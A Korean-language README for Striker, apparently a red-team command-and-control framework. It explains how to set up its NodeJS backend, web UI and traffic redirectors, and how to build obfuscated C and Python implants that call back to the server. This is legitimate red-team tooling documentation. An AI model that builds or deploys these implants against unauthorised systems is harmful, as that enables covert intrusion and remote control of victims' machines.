
네이티브 C 및 Python 에이전트, HTTP(S) 채널, 비동기 작업, 그리고 레드팀 운영을 위한 반응형 웹 UI를 갖춘 다중 운영자 C2 프레임워크.
Striker는 간단한 Command and Control (C2) 프로그램입니다.


이 프로젝트는 활발히 개발 중입니다. 대부분의 기능은 실험적이며, 더 많은 기능이 추가될 예정입니다. 변경 사항이 있을 수 있습니다.
A) 에이전트
B) 백엔드 / 팀서버
C) 사용자 인터페이스
저장소를 클론하세요;
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker
코드베이스는 4개의 독립적인 섹션으로 나뉩니다;
운영자와 에이전트 모두를 위한 모든 서버 측 로직을 처리합니다. NodeJS 애플리케이션으로, 다음으로 구성됩니다;
express - REST API용.socket.io - 웹 소켓 통신용.mongoose - MongoDB 연결용.multer - 파일 업로드 처리용.bcrypt - 사용자 비밀번호 해싱용.소스 코드는 backend/ 디렉토리에 있습니다. 서버를 설정하려면;
Striker는 모든 중요한 데이터를 저장하기 위해 백엔드 데이터베이스로 MongoDB를 사용합니다. 데비안 기반 배포판의 경우 이 가이드를 사용하여 로컬에 설치하거나, MongoDB Atlas(데이터베이스 서비스 플랫폼)를 통해 무료로 생성할 수 있습니다.
$ cd backend
$ npm install
$ mkdir static
이 폴더를 사용하여 서버에 정적 파일을 호스팅할 수 있습니다. 또한 .env 파일에서 UPLOAD_LOCATION을 이 위치로 설정해야 합니다(자세한 내용은 아래 참조). 필수는 아닙니다. 이 디렉토리의 파일은 /static/ 경로 아래에서 공개적으로 접근 가능합니다.
.env 파일 생성;참고: <와 > 사이의 값은 자리 표시자입니다. 적절한 값으로 바꾸세요 (<> 포함).
무작위 문자열이 필요한 필드의 경우, 다음을 사용하여 쉽게 생성할 수 있습니다;
$ head -c 100 /dev/urandom | sha256sum
DB_URL=<MongoDB 연결 URL>
HOST=<수신 대기할 호스트 (기본값: 127.0.0.1)>
PORT=<수신 대기할 포트 (기본값: 3000)>
SECRET=<세션 쿠키 서명 및 세션 데이터 암호화에 사용할 무작위 문자열>
ORIGIN_URL=<프론트엔드를 호스팅할 서버의 전체 URL. CORS 설정에 사용>
REGISTRATION_KEY=<회원가입 인증에 사용할 무작위 문자열>
MAX_UPLOAD_SIZE=<최대 파일 업로드 크기 (바이트 단위)>
UPLOAD_LOCATION=<업로드된 파일을 저장할 디렉토리 (기본값: static)>
SSL_KEY=<SSL 키 파일 (선택 사항)>
SSL_CERT=<SSL 인증서 파일 (선택 사항)>
SSL_KEY와 SSL_CERT는 선택 사항입니다. 정의되지 않으면 일반 HTTP 서버가 생성됩니다. 이는 동일한 호스트에서 SSL이 활성화된 리버스 프록시 뒤에서 서버를 실행할 때 불필요한 오버헤드를 방지하는 데 도움이 됩니다.
$ node index.js
[12:45:30 PM] Connecting to backend database...
[12:45:31 PM] Starting HTTP server...
[12:45:31 PM] Server started on port: 3000
운영자가 사용하는 웹 UI입니다. Svelte로 작성된 단일 페이지 웹 애플리케이션이며, 소스 코드는 frontend/ 디렉토리에 있습니다.
프론트엔드를 설정하려면;
$ cd frontend
$ npm install
VITE_STRIKER_API 변수를 설정한 .env 파일을 생성하세요;VITE_STRIKER_API=https://c2.striker.local
$ npm run build
위 명령은 모든 것을 dist/ 디렉토리에 정적 웹 애플리케이션으로 컴파일합니다. 모든 파일을 웹 서버의 웹 루트로 이동하거나, Python의 기본 HTTP 서버와 같은 간단한 HTTP 서버로 호스팅할 수 있습니다;
$ cd dist
$ python3 -m http.server 8000
Register 버튼을 클릭합니다.backend/.env의 REGISTRATION_KEY 참조).이렇게 하면 표준 사용자 계정이 생성됩니다. 일부 기능에 접근하려면 관리자 계정이 필요합니다.
첫 번째 관리자 계정은 수동으로 생성해야 하며, 이후 웹 UI의 Users 탭에서 다른 계정을 승격 또는 강등할 수 있습니다.
첫 번째 관리자 계정을 생성하려면;
users 컬렉션을 업데이트하여 대상 사용자의 admin 필드를 true로 설정합니다.이 작업을 수행하는 방법은 여러 가지입니다. CLI에서 mongo를 사용할 수 있다면 다음과 같이 할 수 있습니다;
$ mongo <MongoDB 연결 URL>
> db.users.updateOne({username: "<사용자 이름>"}, {$set: {admin: true}})
작동하면 다음과 같은 응답을 받게 됩니다;
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }
이제 로그인할 수 있습니다 :)
A) 덤 파이프 리다이렉션
Striker용으로 작성된 덤 파이프 리다이렉터가 redirector/redirector.py에 있습니다. 당연히 이는 일반 HTTP 트래픽 또는 SSL 검증이 비활성화된 경우 HTTPS에서만 작동합니다 (C 에이전트에서 INSECURE_SSL 매크로를 활성화하여 설정할 수 있음).
다음 예시는 모든 인터페이스의 포트 443에서 수신 대기하고 c2.example.org의 포트 443으로 전달합니다;
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...
B) Nginx 리버스 프록시를 리다이렉터로 사용
$ sudo apt install nginx
/etc/nginx/sites-available/striker);자리 표시자;
<domain-name> - 서버의 FQDN이며, SSL 인증서의 도메인과 일치해야 합니다.<ssl-cert> - 사용할 SSL 인증서 파일.<ssl-key> - 사용할 SSL 키 파일.<c2-server> - 요청을 전달할 C2 서버의 전체 URL.경고: client_max_body_size는 backend/.env 파일의 MAX_UPLOAD_SIZE로 정의된 크기만큼 커야 합니다. 그렇지 않으면 대용량 파일 업로드가 실패합니다.
server {
listen 443 ssl;
server_name <domain-name>;
ssl_certificate <ssl-cert>;
ssl_certificate_key <ssl-key>;
client_max_body_size 100M;
access_log /var/log/nginx/striker.log;
location / {
proxy_pass <c2-server>;
proxy_redirect off;
proxy_ssl_verify off;
proxy_read_timeout 90;
proxy_http_version 1.0;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
$ sudo service nginx restart
이제 리다이렉터가 포트 443에서 실행 중이며, 다음을 사용하여 테스트할 수 있습니다 (FQDN이 striker.local이라고 가정);
$ curl https://striker.local
작동하면 백엔드에서 사용하는 404 응답이 표시됩니다:
{"error":"Invalid route!"}
A) C 에이전트
Striker에서 사용하는 임플란트입니다. 주 에이전트는 C로 작성되었으며 agent/C/에 있습니다. Linux와 Windows 호스트를 모두 지원합니다. Linux 에이전트는 외부적으로 libcurl에 의존하며, 대부분의 시스템에 설치되어 있습니다.
Windows 에이전트는 외부 의존성이 없습니다. 통신에 wininet을 사용하며, 모든 Windows 호스트에서 사용 가능하다고 생각합니다.
64비트 호스트라고 가정할 때, 다음 명령으로 64비트용으로 빌드합니다;
$ cd agent/C
$ mkdir bin
$ make
64비트에서 32비트용으로 빌드하려면;
$ sudo apt install gcc-multilib
$ make arch=32
위 명령은 모든 것을 bin/ 디렉토리에 컴파일합니다. 작동하는 임플란트를 생성하려면 두 개의 파일만 필요합니다;
bin/stub - 작동하는 임플란트를 생성하기 위한 템플릿으로 사용되는 에이전트 스텁.bin/builder - 에이전트 스텁을 패치하여 작동하는 임플란트를 생성하는 데 사용하는 도구.빌더는 다음 인수를 허용합니다;
$ ./bin/builder
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>
여기서;
<url> - 보고할 서버. 이상적으로는 리다이렉터여야 하지만 서버의 직접 URL도 작동합니다.<auth_key> - C2에 연결할 때 사용할 인증 키. 웹 UI의 auth keys 탭에서 생성할 수 있습니다.<delay> - 각 콜백 사이의 지연 시간(초). 최소 2초 이상이어야 하며, 얼마나 노이즈를 원하는지에 따라 다릅니다.<stub> - 읽을 스텁 파일, 이 경우 bin/stub.<outfile> - 새 임플란트의 출력 파일 이름.예시;
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
URL: 0x0000a2e0
OBFS Key: 0x0000a280
Auth Key: 0x0000a2a0
Delay: 0x0000a260
[*] Patching...
[+] Operation completed!
이를 위해서는 MinGW가 필요합니다. 다음 명령으로 32비트 및 64비트 Windows 개발 환경을 설치합니다;
$ sudo apt install mingw-w64
64비트용으로 빌드;
$ cd agent/C
$ mdkir bin
$ make target=win
32비트용으로 컴파일하려면;
$ make target=win arch=32
이 명령은 모든 것을 bin/ 디렉토리에 컴파일하며, 빌더와 스텁이 각각 bin\stub.exe 및 bin\builder.exe로 생성됩니다.
B) Python 에이전트
Striker에는 자체 포함된 Python 에이전트도 함께 제공됩니다 (Python 2.7.16 및 3.7.3에서 테스트됨). 이 에이전트는 agent/python/에 있습니다. 가장 기본적인 기능만 구현되어 있습니다. C 에이전트를 실행할 수 없지만 Python이 설치된 호스트에서 유용합니다.
이 디렉토리에는 2개의 파일이 있습니다;
stub.py - 빌더에 전달할 페이로드 스텁.builder.py - 임플란트를 생성하는 데 사용할 도구.사용 예시:
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# 다음은 `output.py`라는 작동하는 페이로드를 생성합니다.
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# 실행
$ python3 output.py
위의 지침을 따른 후 Striker를 사용할 준비가 되었습니다. 사용 가이드를 참조해 주세요. 즐겁게 해킹하세요!
프로젝트가 마음에 드신다면, 커피를 코드로 바꾸는 데 도움을 주세요!